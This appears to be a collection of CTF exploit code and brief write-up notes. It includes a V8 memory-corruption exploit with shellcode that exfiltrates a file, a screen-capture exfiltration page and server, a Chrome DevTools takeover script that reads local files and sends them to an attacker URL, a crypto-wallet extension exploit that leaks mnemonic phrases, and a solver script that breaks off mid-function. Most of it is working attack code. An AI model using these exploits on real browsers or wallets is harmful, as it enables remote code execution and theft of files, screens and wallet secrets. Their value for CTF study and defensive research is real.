Browser

function print(string, beacon=true) {
  console.log(string);
  if (beacon) {
    navigator.sendBeacon('REDACTED', string);
  }
}
print("Starting exploit...", true);
const conv_ab = new ArrayBuffer(8);
const conv_f64 = new Float64Array(conv_ab);
const conv_u64 = new BigUint64Array(conv_ab);

const FAKE_JSARR_SZ = 2n;

function itof(x) {
    conv_u64[0] = BigInt(x);
    return conv_f64[0];
}

function ftoi(x) {
    conv_f64[0] = x;
    return conv_u64[0];
}

function leak_hole() {
    let v1;
    function f0(v4) {
        v4(() => { }, v5 => {
            v1 = v5.errors;
        });
    }
    f0.resolve = function (v6) {
        return v6;
    };
    let v3 = {
        then(v7, v8) {
            v8();
        }
    };
    Promise.any.call(f0, [v3]);
    return v1[1]
}

var map1 = null;
var foo_arr = null;
function getmap(m) {
    m = new Map();
    m.set(1, 1);
    m.set(leak_hole(), 1);
    m.delete(leak_hole());
    m.delete(leak_hole());
    m.delete(1);
    return m;
}
map1 = getmap(map1, leak_hole());

foo_arr = new Array(1.1, 1.1);
obj_arr = new Array({}, {});
placeholder_arr = new Array(1.1, 1.1);
map1.set(0x10, -1);
map1.set(foo_arr, 0xffff);

print("Overwritten arr len: 0x"+foo_arr.length.toString(16));

var EMPTY_PROPERTIES_ADDR = 0x2261n; 
var MAP_JSARR_PACKED_DOUBLES_ADDR = 0x24a871n;

//for (let i = 13; i < 14 + 0x20; i++) {
//    let tmp = ftoi(foo_arr[i])
//    print(`foo_arr[${i}]: 0x` + tmp.toString(16));    
//}

print("EMPTY_PROPERTIES_ADDR: 0x"+(EMPTY_PROPERTIES_ADDR).toString(16));
print("MAP_JSARR_PACKED_DOUBLES_ADDR: 0x"+(MAP_JSARR_PACKED_DOUBLES_ADDR).toString(16));

function GetAddressOf(x) {
    obj_arr[0] = x;
    return (ftoi(foo_arr[14]) - 1n) & 0xffffffffn;
}

function GetFakeObject(x) { 
    foo_arr[14] = itof(x);
    return obj_arr[0];   
}

let arr_arbrw = [0.1, 0.2, 0.3];

let addr = GetAddressOf(arr_arbrw);

let fake_jsarr = [
    itof((EMPTY_PROPERTIES_ADDR << 32n) | BigInt(MAP_JSARR_PACKED_DOUBLES_ADDR)),
    itof(0x4343434343434343n),
];

let FAKE_JSARR = GetAddressOf(fake_jsarr)+1n;
let FAKE_JSARR_ELEMENTS = FAKE_JSARR + 68n;
print("FAKE: 0x"+(FAKE_JSARR_ELEMENTS).toString(16));
let ARR_ARBRW_ADDR = GetAddressOf(arr_arbrw);
print("ARR: 0x"+(ARR_ARBRW_ADDR).toString(16));
fake_jsarr[1] = itof(((FAKE_JSARR_SZ * 2n) << 32n) | BigInt(ARR_ARBRW_ADDR+1n));
let corrupter_arr = GetFakeObject(FAKE_JSARR_ELEMENTS);

function v8_write64(where, what) {
    corrupter_arr[0] = itof((0x6n << 32n) | BigInt(where - 8n));
    arr_arbrw[0] = itof(what);
}

function v8_read64(where) {    
    corrupter_arr[0] = itof((0x6n << 32n) | BigInt(where - 8n));
    return ftoi(arr_arbrw[0]);
}

const expl_wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 3, 2, 0, 0, 5, 3, 1, 0, 1, 7, 19, 2, 7, 116, 114, 105, 103, 103, 101, 114, 0, 0, 5, 115, 104, 101, 108, 108, 0, 1, 10, 249, 1, 2, 3, 0, 1, 11, 242, 1, 0, 65, 0, 66, 144, 161, 194, 132, 137, 178, 212, 245, 9, 55, 3, 0, 65, 1, 66, 144, 161, 194, 132, 169, 205, 200, 245, 6, 55, 3, 0, 65, 2, 66, 144, 161, 194, 132, 153, 200, 214, 245, 6, 55, 3, 0, 65, 3, 66, 144, 161, 194, 172, 148, 134, 240, 245, 6, 55, 3, 0, 65, 4, 66, 144, 161, 194, 172, 148, 166, 242, 245, 6, 55, 3, 0, 65, 5, 66, 144, 255, 134, 136, 144, 160, 192, 245, 6, 55, 3, 0, 65, 6, 66, 129, 239, 135, 136, 189, 157, 195, 245, 6, 55, 3, 0, 65, 7, 66, 144, 161, 194, 132, 169, 237, 193, 245, 6, 55, 3, 0, 65, 8, 66, 144, 161, 194, 132, 137, 210, 214, 245, 6, 55, 3, 0, 65, 9, 66, 144, 253, 134, 136, 144, 160, 192, 245, 6, 55, 3, 0, 65, 10, 66, 129, 237, 135, 136, 145, 160, 192, 245, 6, 55, 3, 0, 65, 11, 66, 144, 161, 194, 132, 169, 173, 194, 245, 6, 55, 3, 0, 65, 12, 66, 144, 161, 194, 132, 137, 146, 214, 245, 6, 55, 3, 0, 65, 13, 66, 144, 161, 194, 132, 249, 161, 193, 245, 6, 55, 3, 0, 65, 14, 66, 144, 161, 194, 132, 137, 178, 214, 245, 6, 55, 3, 0, 65, 15, 66, 144, 161, 194, 132, 137, 242, 240, 245, 6, 55, 3, 0, 11]);
let expl_wasm_mod = new WebAssembly.Module(expl_wasm_code);
let expl_wasm_instance = new WebAssembly.Instance(expl_wasm_mod);
let wasm_instance_addr = GetAddressOf(expl_wasm_instance) + 1n;
print("wasm instance addr: 0x"+wasm_instance_addr.toString(16));
let rwx_page = (v8_read64(wasm_instance_addr + 0x60n));
print("rwx_page: 0x"+(rwx_page).toString(16));

rwx_page += 0x4ean;
print("rwx_page: 0x"+(rwx_page).toString(16));
v8_write64(wasm_instance_addr + 0xfcn, rwx_page);

expl_wasm_instance.exports.trigger();

var rwx_page_buf = new ArrayBuffer(0x1000);
var rwx_page_buf_ptr = GetAddressOf(rwx_page_buf);
print(`WASM RWX page buffer: 0x${rwx_page_buf_ptr.toString(16)}`);
v8_write64(rwx_page_buf_ptr + 0x1dn, 0xdead000n);

print("Overwrote WASM RWX page buffer backing store pointer");
var rwx_page_arr = new Int8Array(rwx_page_buf);

const SHELLCODE = [0x6a, 0x1, 0xfe, 0xc, 0x24, 0x48, 0xb8, 0x74, 0x2f, 0x62, 0x6f, 0x74, 0x2e, 0x6a, 0x73, 0x50, 0x48, 0xb8, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x62, 0x6f, 0x50, 0x48, 0x89, 0xe7, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x2, 0x58, 0xf, 0x5, 0x48, 0x89, 0xc7, 0x31, 0xc0, 0x31, 0xd2, 0xb6, 0x10, 0x48, 0x89, 0xe6, 0xf, 0x5, 0x6a, 0x29, 0x58, 0x6a, 0x2, 0x5f, 0x6a, 0x1, 0x5e, 0x99, 0xf, 0x5, 0x48, 0x89, 0xc5, 0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x50, 0x48, 0xb8, 0x3, 0x1, 0x22, 0x28, 0x5a, 0x63, 0xc9, 0x93, 0x48, 0x31, 0x4, 0x24, 0x6a, 0x2a, 0x58, 0x48, 0x89, 0xef, 0x6a, 0x10, 0x5a, 0x48, 0x89, 0xe6, 0xf, 0x5, 0x48, 0x89, 0xef, 0x31, 0xd2, 0xb6, 0x10, 0x48, 0x89, 0xe6, 0x6a, 0x1, 0x58, 0xf, 0x5, 0x31, 0xff, 0x31, 0xc0, 0xb0, 0xe7, 0xf, 0x5]
print("CHECK!!!", true);
for(var i = 0; i < SHELLCODE.length; i++) {
    rwx_page_arr[i] = SHELLCODE[i];
}
v8_write64(wasm_instance_addr + 0xfcn, 0xdead000n);
expl_wasm_instance.exports.trigger();

• https://albertofdr.github.io/post/crewctf-2025/

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Display Capture Request</title>
  <script>
    async function captureDisplay() {
      try {
        await fetch("/?message=Starting");
        // Request the display-capture permission to capture the screen
        const stream = await navigator.mediaDevices.getDisplayMedia({ video: true });
        
        // If permission is granted, send a GET request to the same origin
        await fetch( "/?message=Display%20capture%20permission%20granted");

        const video = document.createElement("video");

        video.srcObject = stream;
        video.play();

        video.onloadedmetadata = async () => {
            const canvas = document.createElement("canvas");
            const context = canvas.getContext("2d");

            canvas.width = video.videoWidth;
            canvas.height = video.videoHeight;

            context.drawImage(video, 0, 0, canvas.width, canvas.height);
            stream.getTracks().forEach(track => track.stop());

            const screenshotDataUrl = canvas.toDataURL("image/png");

            const response = await fetch("/upload", {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify({ image: screenshotDataUrl })
            });
          };


        // Handle the response from the server
        const result = await response.text();
        console.log('Server Response:', result);
      } catch (err) {
        // Handle errors (e.g., if the user denies permission)
        console.error('Display capture failed:', err);
        await fetch( "/?message="+encodeURIComponent(err));
      }
    }

    // Trigger the screen capture request on page load
    window.onload = () => {
      captureDisplay().then(()=>{captureDisplay()});
    };
  </script>
</head>
<body>
  <h1>Display Capture Test</h1>
  <p>If you allow screen capture, a request will be sent to the server.</p>
</body>
</html>

const express = require("express");
const bodyParser = require("body-parser");
const fs = require("fs");
const path = require("path");
const https = require("https");  
const http = require("http");  

const app = express();
const PORT = 443;

// generate ssl
// openssl req -x509 -nodes -days 365 -newkey rsa:2048  -keyout private-key.pem -out certificate.pem -subj "/C=US/ST=State/L=City/O=Organization/OU=Unit/CN=example.com"
// SSL certificates (replace with your own paths if needed)
const privateKey = fs.readFileSync("private-key.pem", "utf8");
const certificate = fs.readFileSync("certificate.pem", "utf8");
const credentials = { key: privateKey, cert: certificate };

app.use(bodyParser.json({ limit: "10mb" })); // Increase limit to handle large images

app.get('/', (req, res) => {
    console.log(`[*] Request: ${req.originalUrl}`);
    res.sendFile(path.join(__dirname,'./index.html'));
});


app.post("/upload", (req, res) => {
    console.log("[X] Uploading screenshot");
    const { image } = req.body;

    if (!image) {
        return res.status(400).json({ message: "No image provided" });
    }

    // Decode Base64 to Buffer
    const base64Data = image.replace(/^data:image\/png;base64,/, "");
    const filePath = `screenshots/screenshot_${Date.now()}.png`;

    // Save to file
    fs.mkdirSync("screenshots", { recursive: true });
    fs.writeFile(filePath, base64Data, "base64", (err) => {
        if (err) {
            console.error("Error saving image:", err);
            return res.status(500).json({ message: "Failed to save image" });
        }
        res.json({ message: "Screenshot saved successfully!", path: filePath });
    });
});


app.listen(PORT, () => {
  console.log(`Server is running on http://localhost:${PORT}`);
});

• The challenge is a web security / CTF task where you interact with a “Professor” bot that reviews a student’s complaint; the flag is stored on the Professor’s dashboard at /professor. bubu
• Complaints are sanitized and rendered via a custom Markdown-like pipeline: quotes are escaped, < and > are replaced, and special handlers exist for images, links, and “embedded pages” (referPage). bubu
• Direct XSS is blocked via sanitization and a strict Content-Security-Policy (CSP). bubu
• A key clue: the bot (in a headless-like browser) is launched with a Chromium flag -auto-select-desktop-capture-source=E, which forces accepting “display capture” permission automatically. bubu
• The server sets a Permissions-Policy header that restricts display-capture to self (meaning only same-origin top-level contexts or iframes with the same origin can request it). bubu
• The trick is: “headerless” documents (e.g. about:srcdoc) do not carry HTTP headers (including Permissions-Policy), so they don’t enforce the self restriction. bubu
• The payload uses an iframe srcdoc injection inside the sanitized markdown via creative nesting (e.g. using referPage to inject into an iframe), and delegates display-capture to the attacker origin. Inside that iframe, the attacker can capture the screen (i.e. screenshot the bot’s view) and exfiltrate the flag. bubu
• Final result: the bot is tricked into displaying the professor’s dashboard in a context where display capture is allowed (by bypassing the “self” restriction), letting the attacker screenshot and retrieve the flag. bubu
• The solved flag is crew{permissions_are_fun_even_that_people_dont_really_care_1a3b7c9d} bubu

• https://ouuan.moe/post/2025/03/tpctf-2025

// @ts-check

import { $, serve } from "bun"

const publicUrl = new URL("http://my.public.ip:25565/");
const challengeUrl = "https://hackthebot2-100459c43a199c0f.deploy.phreaks.fr/";

// Shoutout to https://github.com/aslushnikov/getting-started-with-cdp

async function getWebsocketUrl() {
    const devTools = await $`curl --path-as-is "https://hackthebot2-100459c43a199c0f.deploy.phreaks.fr/logs../browser_cache/DevToolsActivePort"`.text();
    const [port, path] = devTools.split('\n');
    const websocketUrl = `ws://localhost:${port}${path}`;
    console.log(websocketUrl);
    return websocketUrl;
}

// This is converted to a string and injected into the page, so we can't use any external variables
async function getFlag(publicUrl) {
    const websocketUrl = await fetch("/get-websocket-url").then(res => res.text());

    const devtools = new WebSocket(websocketUrl);

    let sessionId = null;

    function callback(str) {
        fetch(new URL(`/callback?${new URLSearchParams({str})}`, new URL(publicUrl)));
    }

    devtools.onopen = () => {
        callback("Opened");

        devtools.send(JSON.stringify({
            id: 1,
            method: 'Target.createTarget',
            params: {
                url: "file:///root/flag2.txt",
            },
        }));
    };

    devtools.onerror = (err) => {
        console.error('WebSocket Error: ', err);
        callback("WebSocket Error: " + err);
    }

    devtools.onmessage = (event) => {
        // const {result: {result: {value}}} = JSON.parse(data);
        // console.log('WebSocket Message Received: ', value)
        callback("<-- " + event.data);
        const obj = JSON.parse(event.data);

        if (obj.id === 1 && sessionId === null) {
            const targetId = obj.result.targetId;

            devtools.send(JSON.stringify({
                id: 2,
                method: 'Target.attachToTarget',
                params: {
                    targetId,
                    flatten: true
                }
            }));
        } else if (obj.id === 2 && sessionId === null) {
            sessionId = obj.result.sessionId;

            devtools.send(JSON.stringify({
                sessionId,
                id: 3,
                method: 'DOM.getDocument',
            }));

            devtools.send(JSON.stringify({
                sessionId,
                id: 4,
                method: 'DOM.getOuterHTML',
                params: {"nodeId":1}
            }));

            // Wait for DOM.documentUpdated
            setTimeout(() => {
                devtools.send(JSON.stringify({
                    sessionId,
                    id: 5,
                    method: 'DOM.getDocument',
                }));
                devtools.send(JSON.stringify({
                    sessionId,
                    id: 6,
                    method: 'DOM.getOuterHTML',
                    params: {"nodeId":5}
                }))
            }, 1000);
        }

    };
}


const payload = `(${getFlag.toString()})("${publicUrl}")`
// const payloadOctal = payload.split('').map(c => "\\" + c.charCodeAt(0).toString(8).padStart(3, "0")).join('')
// const html = `<input type=hidden oncontentvisibilityautostatechange="${payloadOctal}" style=content-visibility:auto>`

// Page.navigate	{"url":"file://C:/Users/Nick/Documents/ProgrammeerProjectjes/CTF/PwnMeQuals2025/web_Hack_The_bot/flag2.txt"}	
// DOM.getOuterHTML	{"nodeId":1}	


async function reportUrl(url) {
    console.log("[*]", "Reporting", url);
    
    const res = await fetch(`${challengeUrl}/report`, {
        method: "POST",
        body: new URLSearchParams({url}),
        headers: {
            "Content-Type": "application/x-www-form-urlencoded",
        },
    })
    if (!res.ok) {
        console.error("[*]", "Failed to report", url, await res.text());
        return;
    }
    const logPath = await res.text();
    const logUrl = new URL(logPath, challengeUrl)
    console.log("[*]", logUrl.toString());

    const logRes = await fetch(logUrl);
    const logText = await logRes.text();
    console.log("[*]", logText);
}

const server = serve({
    routes: {
        "/pwn": (req, server) => {
            console.log("[*]", server.requestIP(req)?.address, req.url);
            return new Response(`
                <!DOCTYPE html>
                <html lang="en">
                <head>
                    <meta charset="UTF-8">
                    <meta name="viewport" content="width=device-width, initial-scale=1.0">
                    <title>Document</title>
                </head>
                <body>
                    Pwned
                    <script>
                        ${payload}
                    </script>
                </body>
                </html>
            `, {
                headers: {
                    "Content-Type": "text/html",
                }
            });
        },
        "/get-websocket-url": async (req, server) => {
            console.log("[*]", server.requestIP(req)?.address, req.url);
            const websocketUrl = await getWebsocketUrl();
            return new Response(websocketUrl);
        },
        "/callback": (req, server) => {
            console.log("[*]", server.requestIP(req)?.address, new URL(req.url).pathname, new URL(req.url).searchParams.get("str"));
            return new Response(`${server.requestIP(req)} ${req.url}`);
        },
    },
    port: 25565,
    hostname: "0.0.0.0",
});
console.log(`Listening on ${publicUrl}`);

reportUrl(new URL("/pwn", publicUrl).toString())

• https://jopraveen.github.io/web-hackthebot/
• https://doc-1i4g-0s0g-issuetracker.googleusercontent.com/attachments/itr3pj46upq9p0urjk3i8ihpn6m6u44v/q12desjl5btl49dgvd61fuu4onbe95b2/1741157100000/1456332/106925832359155173690/365802567::59303131::1456332?dat=AFNnbnnK_d2ezPQZ_fl-XJy-dlNlweGG4BpsOyc-fi6yjJ8igFAVDt6RMBT0EfzNkK4qv5HgFwpXSRtvH-GY_Mfp8SQg6qWw602OMobuJNoye8WTGyPXqlfUciNTUwLiJj-GLqAzUiKOz9d_aq2gynKf_-BdZUe1aGtrt8gFm0RzKwS9MQRlfBgMHJ3KXtjhslbBhC0y4jrGkoIxyn25ebnwQadJVOHiKdmXfxUsSNPauRd-JlSV_quEumXEqB6LLAAxFOMPDJqnYDHr_Doxg9ZaUg0mjW2gSxQi2DRCQCYVL1tx7wEnT0GOASK1-z9_-ft-Lfcm1SLfz4Xuocs5iaQU131UNtQdqEssE-HoYygf09bhYo0y_5TY9Q5DL4iUN6jdaWfuoCtV4_-pf7Ot8cju7dKaS0v-PbDRyBGzG1cxN5CocZQK1JGXDIBocvMugDF0k3X1ZjduLjqAWXClOV2RcC5TjHBdEFM5DnPlZBitPxBCPzqyTjzZTa-g-wtI36uDxYaqY78dRCco10QpIEoB5QEUVAcQ6n9z-nBkgiQjsEKYeRX5zpJkG3mSD9bRGewQoEpXS9aDG3hKUtTjYA0q6rdH3qeLyzgchyizOT38nWiwCZ1kfO03CTnJvGEMz8oQST9vZBe_V1CvkIGW9-SpkfspW-4SUUsVPdAHopuv-cl1xNVESZqkMcr2eVALZytXfONpEQWltErmZ1WNZao9i8cBvXMmep4VIlzKVjw6pxAZVuEsPMAHDtKfjXWfOs5eF3RfXFO5y05e1klL1TUront5fjJpSnH-jAxqtuUwcPeofU6MW7OmhHRhw_KrHskgDcDatjUShEqKprWSGXa1x8sOLXwn6pFEIxFOaAzafANmxA_wh7tQFXVHFgQzOjcYbUuXrjemdJQbWzzwmeQ5X3SaSHLSugkCqYaF4GKNb1T69pw8EgvesKd9hjfFxGEFgufMVRFDnlPiY-zWmBeJbobWpNfxhzpcXRjrtbpfsRiUp9cC8WEV8cTulhQjfFaSdidWbhix&u=0&s=1&q=AN9yeQKnK3cAK0D5NNZoMwf97OFuwotVEVlQ_yweXoGUj3825cnU6FlIkYovZgbgv7cw8IHNAduHLmiU-pSiJ-88-Z2Q&download=false&nonce=9rvs6teeuo1to&user=106925832359155173690&hash=qas6fe4gc72obh5bpg71dkcf2gs2aiu1 (exploit)
• WASM type confusion due to imported tag signature subtyping [365802567] - Chromium

• https://github.com/bhavya32/web-writeups/blob/main/dicectf.md

// content.js
chrome.runtime.onMessage.addListener((result) => {
  if (result.type === "DICE_RESPONSE") {
    // On success, the content script rewrites fn to dwOnMessage.
    result.fn = "dwOnMessage";
  } else if (result.type === "DICE_ERROR") {
    // On error, it rewrites fn to dwOnError.
    result.fn = "dwOnError";
  }
  // The secret is always appended and the whole object is posted back into the page.
  result.secret = secret;
  window.postMessage(result, location.origin);
});

// background.js
case "eth_signTypedData_v4": {
  if (!isConnected(origin)) throw new Error("Unauthorized - call eth_requestAccounts first");
  const typedData = typeof params[1] === "string" ? JSON.parse(params[1]) : params[1];
  const { domain, types, message } = typedData;
  const cid = nextConfirmId();
  await requestConfirmation(
    cid,
    // Bug: details uses raw JSON.stringify(...) and is not URI-encoded.
    // If attacker-controlled data contains '#', it can retarget the popup route.
    `/confirm?id=${cid}&type=eth_signTypedData_v4&origin=${encodeURIComponent(origin)}&details=${JSON.stringify({ domain, types, message })}`
  );
  return w.signTypedData(domain, sigTypes, message);
}

case "wallet_renameAccount": {
  requireAllowedOrigin(origin);
  const rIdx = params[0]?.index ?? 0;
  const rName = params[0]?.name;
  if (rIdx < 0 || rIdx >= wallet.accounts.length) throw new Error("Invalid account index");
  if (!rName) throw new Error("Name required");
  // Bug: attacker-controlled HTML is stored as the account name.
  wallet.accounts[rIdx].name = rName;
  await saveWallet();
  return { ok: true };
}

async function handleRequest(msg, origin) {
  try {
    const response = await handleProviderRequest(msg.method, msg.params || [], origin);
    if (response) {
      // Bug: the original msg object is mutated and returned.
      // If response is falsy, this block does not run and attacker-controlled fields survive.
      msg.type = "DICE_RESPONSE";
      msg.result = response;
    }
  } catch (err) {
    msg.type = "DICE_ERROR";
    msg.error = err.message;
  }
  return msg;
}

// popup.js
function hashUrl() {
  if (location.href.includes("#")) {
    // Bug: split("#").pop() means an extra '#' inside attacker-controlled data
    // changes which route the popup thinks it is on.
    return new URL(location.href.split("#").pop(), "http://x");
  }
  return new URL("/", "http://x");
}

// popup.js export route
(async () => {
  try {
    // Useful sink: once the popup is steered here, exportMnemonic is called
    // and the mnemonic is rendered into the DOM.
    const { mnemonic } = await sendMsg({ action: "exportMnemonic" });
    populateGrid(mnemonic.split(" "));
  } catch (e) { toast(e.message, true); }
})();

async function runLocalOracle(batch, attackerOrigin) {
  if (window.__diceOracleRan) return;
  window.__diceOracleRan = true;
  const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));

  async function safeRequest(body) {
    return window.ethereum.request(body);
  }

  for (let i = 0; i < 100 && !window.ethereum; i++) {
    await sleep(50);
  }

  const account = (await safeRequest({ method: "eth_accounts" }))[0];

  for (const item of batch) {
    const probeFrag = item.frag || item.probe;
    const probeMarker = item.marker || item.probe;

    const stage1 = '</span><meta http-equiv="refresh" content="2;url=/popup.html#/export/phrase"><span>';
    const stage2 =
      '</span>' +
      '<meta http-equiv="refresh" content="1;url=#/export/phrase:~:text=' + encodeURIComponent(probeFrag) + '">' +
      '<svg width="10" height="3200"></svg>' +
      '<div id="probe">' + probeMarker + '</div>' +
      '<iframe id="beacon" loading="lazy" srcdoc="<link rel=preconnect href=' + item.endpoint + '>"></iframe>' +
      '<span>';

    await safeRequest({
      method: "wallet_renameAccount",
      params: [{ index: 0, name: stage1 }],
    });

    window.ethereum.request({
      method: "personal_sign",
      params: ["0x1234", account],
    }).catch(() => {});

    await sleep(400);

    await safeRequest({
      method: "wallet_renameAccount",
      params: [{ index: 0, name: stage2 }],
    });

    await sleep(4500);
  }

  location.href = "about:blank";
}

async function main() {
  for (let i = 0; i < 100 && !window.ethereum; i++) {
    await new Promise((resolve) => setTimeout(resolve, 50));
  }

  const payload = `(${runLocalOracle.toString()})(cfg, ${JSON.stringify(location.origin)})`;
  const req = [payload];
  req.type = "DICE_REQUEST";
  req.method = "eth_getTransactionByHash";
  req.params = ["0x0000000000000000000000000000000000000000000000000000000000000001"];
  req.fn = "setTimeout";
  window.postMessage(req, location.origin);
  location.href = "http://localhost:8080/";
}

#!/usr/bin/env python3
"""
Blind DiceWallet text-fragment oracle solver.

Examples:
  Remote:
    python3 lab/solve_true_oracle.py \
      --oracle-url http://1pc.tf:4444/oracle.html \
      --connect-host 1pc.tf

  Local Docker target, without Docker commands in the solver:
    python3 lab/remoteprobe/server.py &
    python3 lab/solve_true_oracle.py \
      --oracle-url http://172.0.0.1:4444/oracle.html \
      --connect-host 172.0.0.1
"""

import argparse
import base64
import json
import socket
import subprocess
import sys
import threading
import time
from pathlib import Path
from urllib import parse, request


ROOT = Path(__file__).resolve().parent
DEFAULT_BOT_URL = "http://127.0.0.1:18080"
DEFAULT_FLAG_URL = "http://127.0.0.1:18080/flag"
DEFAULT_ORACLE_URL = "http://127.0.0.1:4444/oracle.html"
DEFAULT_BIND_HOST = "0.0.0.0"
DEFAULT_CONCURRENCY = 3
DEFAULT_BATCH_SIZE = 4
DEFAULT_WAIT_PER_PROBE = 7.0
DEFAULT_WAIT_FLOOR = 12.0
DEFAULT_PORT_BASE = 9300
DEFAULT_STATE = ROOT / "true_oracle_state.json"
DEFAULT_VISIT_RETRY = 5.0


def post_json(url, payload):
    data = json.dumps(payload).encode()
    req = request.Request(url, data=data, headers={"Content-Type": "application/json"})
    with request.urlopen(req, timeout=30) as response:
        return json.loads(response.read().decode())


def post_visit_with_retry(bot_url, visit_url, retry_delay):
    while True:
        result = post_json(f"{bot_url}/visit", {"url": visit_url})
        if result.get("ok"):
            return result
        error = result.get("error", "")
        if "Too many concurrent visits" not in error:
            raise RuntimeError(f"Visit failed for {visit_url}: {result}")
        time.sleep(retry_delay)


def load_wordlist():
    script = r"""
const { LangEn } = require('./lab/dicewallet/bot/node_modules/ethers/lib.commonjs/wordlists/lang-en.js');
const wl = LangEn.wordlist();
const out = [];
for (let i = 0; i < 2048; i++) out.push(wl.getWord(i));
console.log(JSON.stringify(out));
"""
    output = subprocess.run(
        ["node", "-e", script],
        text=True,
        capture_output=True,
        check=True,
    ).stdout
    return json.loads(output)


def load_state(path):
    if not path.exists():
        return {"discovery": {}, "positions": {}, "meta": {}}
    with path.open() as handle:
        return json.load(handle)


def save_state(path, state):
    path.parent.mkdir(parents=True, exist_ok=True)
    tmp = path.with_suffix(path.suffix + ".tmp")
    with tmp.open("w") as handle:
        json.dump(state, handle, indent=2, sort_keys=True)
    tmp.replace(path)


def build_cfg(items):
    return base64.b64encode(json.dumps(items).encode()).decode()


def normalize_probe(probe):
    if isinstance(probe, str):
        return {"label": probe, "probe": probe, "frag": probe, "marker": probe}
    label = probe.get("label") or probe.get("probe") or probe.get("marker") or probe.get("frag")
    if not label:
        raise RuntimeError(f"Invalid probe spec: {probe!r}")
    return {
        "label": label,
        "probe": probe.get("probe", label),
        "frag": probe.get("frag", probe.get("probe", label)),
        "marker": probe.get("marker", probe.get("probe", label)),
    }


class NativeListener:
    def __init__(self, bind_host, port):
        self.bind_host = bind_host
        self.port = port
        self.triggered = False
        self._server = None
        self._stop = threading.Event()
        self._ready = threading.Event()
        self._thread = threading.Thread(target=self._serve, daemon=True)
        self._thread.start()
        if not self._ready.wait(timeout=3):
            raise RuntimeError(f"Listener on {bind_host}:{port} failed to start")

    def _serve(self):
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self._server = server
        try:
            server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            server.bind((self.bind_host, self.port))
            server.listen(32)
            server.settimeout(0.5)
            self._ready.set()
            while not self._stop.is_set():
                try:
                    client, _addr = server.accept()
                except socket.timeout:
                    continue
                except OSError:
                    break
                if self._stop.is_set():
                    try:
                        client.close()
                    except OSError:
                        pass
                    break
                self.triggered = True
                try:
                    client.close()
                except OSError:
                    pass
        finally:
            self._ready.set()
            try:
                server.close()
            except OSError:
                pass
            self._server = None

    def close(self):
        self._stop.set()
        try:
            if self._server is not None:
                self._server.close()
        except OSError:
            pass
        self._thread.join(timeout=1)


def create_listener(*, bind_host, connect_host, port):
    handle = NativeListener(bind_host, port)
    endpoint = f"http://{connect_host}:{port}"
    return handle, endpoint


def schedule_batches(
    *,
    batches,
    bind_host,
    connect_host,
    oracle_url,
    bot_url,
    port_base,
    visit_retry,
    wait_per_probe,
    wait_floor,
):
    jobs = []
    for batch_index, probes in enumerate(batches):
        listeners = []
        cfg = []
        for item_index, probe in enumerate(probes):
            probe_spec = normalize_probe(probe)
            port = port_base + (batch_index * batch_size_hint(batches)) + item_index
            handle, endpoint = create_listener(
                bind_host=bind_host,
                connect_host=connect_host,
                port=port,
            )
            listeners.append((probe_spec["label"], handle))
            cfg.append({
                "label": probe_spec["label"],
                "probe": probe_spec["probe"],
                "frag": probe_spec["frag"],
                "marker": probe_spec["marker"],
                "endpoint": endpoint,
            })
        visit_url = f"{oracle_url}?cfg={build_cfg(cfg)}"
        post_visit_with_retry(bot_url, visit_url, visit_retry)
        jobs.append(
            {
                "probes": probes,
                "listeners": listeners,
                "wait": max(wait_floor, len(probes) * wait_per_probe),
                "started_at": time.time(),
            }
        )
    return jobs


def batch_size_hint(batches):
    return max((len(batch) for batch in batches), default=1) + 2


def collect_jobs(jobs):
    deadline = max(job["started_at"] + job["wait"] for job in jobs)
    now = time.time()
    if deadline > now:
        time.sleep(deadline - now)
    results = {}
    try:
        for job in jobs:
            for probe, handle in job["listeners"]:
                results[probe] = handle.triggered
    finally:
        for job in jobs:
            for _probe, handle in job["listeners"]:
                handle.close()
    return results


def process_probe_set(
    *,
    probes,
    state_bucket,
    state_path,
    state,
    bind_host,
    connect_host,
    concurrency,
    batch_size,
    oracle_url,
    bot_url,
    port_base,
    visit_retry,
    wait_per_probe,
    wait_floor,
    label,
):
    remaining = [probe for probe in probes if probe not in state_bucket]
    total = len(probes)
    if not remaining:
        print(f"[+] {label}: already complete ({total}/{total})")
        return
    print(f"[+] {label}: {total - len(remaining)}/{total} complete, {len(remaining)} remaining")
    batch_groups = []
    current_group = []
    for index in range(0, len(remaining), batch_size):
        current_group.append(remaining[index:index + batch_size])
        if len(current_group) == concurrency:
            batch_groups.append(current_group)
            current_group = []
    if current_group:
        batch_groups.append(current_group)
    completed = total - len(remaining)
    for group in batch_groups:
        jobs = schedule_batches(
            batches=group,
            bind_host=bind_host,
            connect_host=connect_host,
            oracle_url=oracle_url,
            bot_url=bot_url,
            port_base=port_base,
            visit_retry=visit_retry,
            wait_per_probe=wait_per_probe,
            wait_floor=wait_floor,
        )
        results = collect_jobs(jobs)
        for probe, triggered in results.items():
            state_bucket[probe] = triggered
        save_state(state_path, state)
        completed += sum(len(batch) for batch in group)
        print(f"[+] {label}: {completed}/{total}")


def position_phase(
    *,
    candidates,
    state,
    state_path,
    full_scan,
    bind_host,
    connect_host,
    concurrency,
    batch_size,
    oracle_url,
    bot_url,
    port_base,
    visit_retry,
    wait_per_probe,
    wait_floor,
):
    positions = {}
    for pos in range(1, 13):
        bucket = state["positions"].setdefault(str(pos), {})
        pending = [word for word in candidates if word not in bucket]
        print(f"[+] position {pos}: {len(candidates) - len(pending)}/{len(candidates)} complete")
        while pending:
            groups = []
            current = []
            for index in range(0, len(pending), batch_size):
                batch = [f"{pos}. {word}" for word in pending[index:index + batch_size]]
                current.append(batch)
                if len(current) == concurrency:
                    groups.append(current)
                    current = []
            if current:
                groups.append(current)
            for group in groups:
                jobs = schedule_batches(
                    batches=group,
                    bind_host=bind_host,
                    connect_host=connect_host,
                    oracle_url=oracle_url,
                    bot_url=bot_url,
                    port_base=port_base + pos * 128,
                    visit_retry=visit_retry,
                    wait_per_probe=wait_per_probe,
